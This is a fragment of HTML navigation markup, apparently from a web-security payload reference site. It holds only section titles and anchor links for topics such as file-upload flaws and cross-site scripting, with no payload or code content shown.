|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_49">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Tabnabbing
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Tabnabbing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_50">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Type Juggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Type%20Juggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Upload Insecure Files
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Ffmpeg HLS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Ffmpeg HLS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
FFmpeg HLS vulnerability
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Apache .htaccess
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Apache .htaccess
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.htaccess upload
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Busybox httpd.conf
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Busybox httpd.conf
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Index
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration uwsgi.ini
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration uwsgi.ini
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
uWSGI configuration file
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Extension Flash
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Extension Flash
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Index
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Extension PDF JS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Extension PDF JS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Generate PDF File Containing JavaScript Code
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Picture ImageMagick
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Picture ImageMagick
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ImageMagick Exploits
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Zip Slip
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Zip Slip
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_52">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Cache Deception
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Sockets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Web%20Sockets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_54">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XPATH Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XPATH%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_55">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSLT Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../XSLT%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_56">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSS Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Scripting
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Scripting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#vulnerability-details" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Vulnerability Details
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploit-code-or-poc" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploit code or POC
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploit code or POC">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#data-grabber-for-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Data grabber for XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cors" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CORS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#ui-redressing" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
UI redressing
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#javascript-keylogger" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Javascript keylogger
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#other-ways" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Other ways
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#identify-an-xss-endpoint" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Identify an XSS endpoint
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Identify an XSS endpoint">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-htmlapplications" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in HTML/Applications
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XSS in HTML/Applications">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#common-payloads" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Common Payloads
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-using-html5-tags" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS using HTML5 tags
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-using-a-remote-js" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS using a remote JS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-hidden-input" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in hidden input
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-when-payload-is-reflected-capitalized" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS when payload is reflected capitalized
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#dom-based-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
DOM based XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-js-context" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in JS Context
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-wrappers-javascript-and-data-uri" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in wrappers javascript and data URI
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XSS in files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-xml" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in XML
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-svg" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SVG
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-svg-short" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SVG (short)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-markdown" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in Markdown
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-swf-flash-application" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SWF flash application
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-swf-flash-application_1" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in SWF flash application
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-css" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in CSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-in-postmessage" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS in PostMessage
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#blind-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Blind XSS
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Blind XSS">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xss-hunter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XSS Hunter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#other-blind-xss-tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Other Blind XSS tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#blind-xss-endpoint" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Blind XSS endpoint
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tips" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tips
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#mutated-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Mutated XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#polyglot-xss" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Polyglot XSS
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#filter-bypass-and-exotic-payloads" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Filter Bypass and exotic payloads
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Filter Bypass and exotic payloads">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-case-sensitive" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass case sensitive
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-tag-blacklist" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass tag blacklist
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-word-blacklist-with-code-evaluation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass word blacklist with code evaluation
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-with-incomplete-html-tag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass with incomplete html tag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-for-string" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes for string
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-in-script-tag" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes in script tag
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-quotes-in-mousedown-event" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass quotes in mousedown event
|
||
</span>
|
||
</a>
|
||
|
